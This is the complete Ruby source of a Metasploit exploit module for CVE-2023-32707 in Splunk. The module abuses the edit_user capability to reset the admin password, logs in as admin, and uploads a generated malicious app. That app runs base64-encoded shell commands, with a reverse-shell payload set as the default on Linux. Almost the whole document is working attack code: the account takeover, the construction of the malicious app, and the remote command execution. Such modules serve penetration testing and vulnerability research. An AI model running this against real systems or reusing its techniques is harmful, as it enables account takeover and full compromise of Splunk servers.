Splunk edit_user Capability Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck

  include Msf::Exploit::Remote::HttpClient

  attr_accessor :cookie

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Splunk "edit_user" Capability Privilege Escalation',
        'Description' => %q{
          A low-privileged user who holds a role that has the "edit_user" capability assigned to it
          can escalate their privileges to that of the admin user by providing a specially crafted web request.
          This is because the "edit_user" capability does not honor the "grantableRoles" setting in the authorize.conf
          configuration file, which prevents this scenario from happening.

          This exploit abuses this vulnerability to change the admin password and login with it to upload a malicious app achieving RCE.
        },
        'Author' => [
          'Mr Hack (try_to_hack) Santiago Lopez', # discovery
          'Heyder Andrade', # metasploit module
          'Redway Security <redwaysecurity.com>' # Writeup and PoC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2023-32707' ],
          [ 'URL', 'https://advisory.splunk.com/advisories/SVD-2023-0602' ], # Vendor Advisory
          [ 'URL', 'https://blog.redwaysecurity.com/2023/09/exploit-cve-2023-32707.html' ], # Writeup
          [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2023-32707' ] # PoC
        ],
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true
        },
        'Platform' => %w[linux unix win osx],
        'Targets' => [
          [
            'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux',
            {
              'Arch' => ARCH_CMD,
              'Platform' => %w[linux unix],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python',
                # just to avoid the error because of the clean up: 'error retrieving current directory: getcwd: cannot access parent directories:'
                'AutoRunScript' => 'post/multi/general/execute COMMAND=cd $SPLUNK_HOME'
              }
            }
          ],
          [
            'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8000,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # requests are logged in the _audit index
            # ARTIFACTS_ON_DISK # app is removed in the cleanup method
          ]
        },
        'DisclosureDate' => '2023-06-01'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'The username with "edit_user" role to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password for the specified username']),
        OptString.new('TARGET_USER', [true, 'The username to change the password for (default: admin)', 'admin']),
        OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)', Rex::Text.rand_text_alpha(rand(8..12))]),
        OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)', Faker::App.name.downcase.gsub(/(s|-|_){1,}/, '')])
      ]
    )
    # That depends on finding a strategy to distinguish commands that return output and commands that don't
    # register_advanced_options(
    #   [
    #     OptBool.new('ReturnOutput', [ true, 'Display command output', false ])
    #   ]
    # )
  end

  def check
    splunk_login(datastore['USERNAME'], datastore['PASSWORD'])

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
      'method' => 'GET',
      'cookie' => cookie,
      'vars_get' => {
        'output_mode' => 'json'
      }
    })

    return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200

    body = res.get_json_document
    version = Rex::Version.new(body['generator']['version'])

    return CheckCode::Safe("Detected Splunk version #{version} which is not vulnerable") unless (
      (Rex::Version.new('9.0.0') <= version && version < Rex::Version.new('9.0.5')) ||
      (Rex::Version.new('8.2.0') <= version && version < Rex::Version.new('8.2.11')) ||
      (Rex::Version.new('8.1.0') <= version && version < Rex::Version.new('8.1.14'))
    )

    print_status("Detected Splunk version #{version} which is vulnerable")
    capabilities = body['entry'].first['content']['capabilities']

    return CheckCode::Safe("User '#{datastore['USERNAME']}' does not have 'edit_user' capability") unless capabilities.include? 'edit_user'

    report_vuln(
      host: rhost,
      name: name,
      refs: references,
      info: [version]
    )

    CheckCode::Vulnerable("User '#{datastore['USERNAME']}' has 'edit_user' capability")
  end

  def app_name
    datastore['APP_NAME']
  end

  # The cleanup method is removing the app before the session is closed and it is broking the session.
  #
  def cleanup
    return unless session_created?

    super
    # Destroy job
    vprint_status("Cleaning up: destroying job #{@job_id}")
    send_request_cgi({
      'uri' => normalize_uri('/en-US/splunkd/__raw/services/search/jobs/', job_id),
      'method' => 'DELETE',
      'cookie' => cookie
    })
    # Remove app
    vprint_status("Cleaning up: removing app #{app_name}")
    execute_command("bash -c 'rm -rf $SPLUNK_HOME/etc/apps/#{app_name}'")
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/en-US/debug/refresh'),
      'method' => 'POST',
      'cookie' => cookie,
      'vars_post' => {
        'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']
      }
    })
  end

  def exploit
    splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
    splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])

    splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])

    @job_id = execute_command(payload.encoded, { app_name: app_name })
    # TODO: distinguish commands that return output and commands that don't
    # fail_with(Failure::ConfigError, 'The payload returns output. Consider to set ReturnOutput to true') if payload.encoded.include? 'return output' && !datastore['ReturnOutput']
    # if datastore['ReturnOutput']
    #   print_status('Waiting for command output')
    #   print_line(splunk_fetch_job_output)
    # end
  end

  def execute_command(cmd, opts = {})
    res = send_request_cgi({
      'uri' => '/en-US/api/search/jobs',
      'method' => 'POST',
      'cookie' => cookie,
      'headers' =>
        {
          'X-Requested-With' => 'XMLHttpRequest',
          'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']
        },
      'vars_post' =>
        {
          'auto_cancel' => '62',
          'status_buckets' => '300',
          'output_mode' => 'json',
          'search' => "|  #{app_name} #{Rex::Text.encode_base64(cmd)}",
          'earliest_time' => '-1@h',
          'latest_time' => 'now',
          'ui_dispatch_app' => (opts[:app_name]).to_s
        }
    })

    fail_with(Failure::UnexpectedReply, "Unable to execute command. Unexpected reply (HTTP #{res.code})") unless res&.code == 200

    body = res.get_json_document

    fail_with(Failure::UnexpectedReply, 'Unable to get JOB ID of the command') unless body['data']

    body['data']
  end

  def splunk_helper_extract_token(uri)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, uri),
      'method' => 'GET',
      'keep_cookies' => true
    })

    fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200

    "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
  end

  def splunk_login(username, password)
    # gets cval and splunkweb_uid cookies
    self.cookie = splunk_helper_extract_token('/en-US/account/login')

    # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),
      'method' => 'POST',
      'cookie' => cookie,
      'vars_post' =>
        {
          'username' => username,
          'password' => password,
          'cval' => cookies_hash['cval']
        }
    })

    fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200

    cookie << " #{res.get_cookies}"
  end

  def splunk_change_password(username, password)
    # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
    do_login(username, password) unless cookie

    print_status("Changing '#{username}' password to #{password}")
    res = send_request_cgi({
      'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),
      'method' => 'POST',
      'headers' => {
        'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'cookie' => cookie,
      'vars_post' => {
        'output_mode' => 'json',
        'password' => password,
        'force-change-pass' => 0,
        'locked-out' => 0
      }
    })

    fail_with(Failure::UnexpectedReply, "Unable to change #{username}'s password.") unless res&.code == 200

    print_good("Password of the user '#{username}' has been changed to #{password}")

    body = res.get_json_document
    capabilities = body['entry'].first['content']['capabilities']

    fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'
  end

  def splunk_upload_app(app_name, _file_name)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),
      'method' => 'GET',
      'cookie' => cookie
    })

    fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200

    html = res.get_html_document

    print_status("Uploading file #{app_name}")

    data = Rex::MIME::Message.new
    # fill the hidden fields from the form: state and splunk_form_key
    html.at('[id="installform"]').elements.each do |form|
      next unless form.attributes['value']

      data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name="#{form.attributes['name']}"")
    end
    data.add_part('1', nil, nil, 'form-data; name="force"')
    data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name="appfile"; filename="#{app_name}.tar.gz"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri' => '/en-US/manager/appinstall/_upload',
      'method' => 'POST',
      'cookie' => cookie,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    })

    fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))

    print_good("#{app_name} successfully uploaded")
  end

  # def splunk_fetch_job_output
  #   res = send_request_cgi({
  #     'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
  #     'method' => 'GET',
  #     'keep_cookies' => true,
  #     'cookie' => cookie,
  #     'vars_get' => {
  #       'output_mode' => 'json'
  #     }
  #   })

  #   fail_with(Failure::UnexpectedReply, "Unable to get JOB results. Unexpected reply (HTTP #{res.code})") unless res&.code == 200

  #   body = res.get_json_document

  #   fail_with(Failure::UnexpectedReply, "Splunk reply: #{body['messages'].collect { |h| h['text'] if h['type'] == 'ERROR' }.join('n')}") if body['results'].empty?

  #   Rex::Text.decode_base64(body['results'].first['result'])
  # end

  def splunk_app
    # metadata folder
    metadata = <<~EOF
      [commands]
      export = system
    EOF

    # default folder
    commands_conf = <<~EOF
      [#{app_name}]
      type = python
      filename = #{app_name}.py
      local = false
      enableheader = false
      streaming = false
      perf_warn_limit = 0
    EOF

    app_conf = <<~EOF
      [launcher]
      author=#{Faker::Name.name}
      description=#{Faker::Lorem.sentence}
      version=#{Faker::App.version}

      [ui]
      is_visible = false
    EOF

    # bin folder
    msf_exec_py = <<~EOF
      import sys, base64, subprocess
      import splunk.Intersplunk

      header = ['result']
      results = []

      try:
        proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        output = proc.stdout.read().decode('utf-8')
        results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
      except Exception as e:
        error_msg = f'Error : {str(e)} '
        results = splunk.Intersplunk.generateErrorResults(error_msg)

      splunk.Intersplunk.outputResults(results, fields=header)
    EOF

    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
        io.write metadata
      end
      tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
        io.write commands_conf
      end
      tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
        io.write app_conf
      end
      tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
        io.write msf_exec_py
      end
    end
    tarfile.rewind
    tarfile.close

    Rex::Text.gzip(tarfile.string)
  end

  def cookies_hash
    cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }
  end

end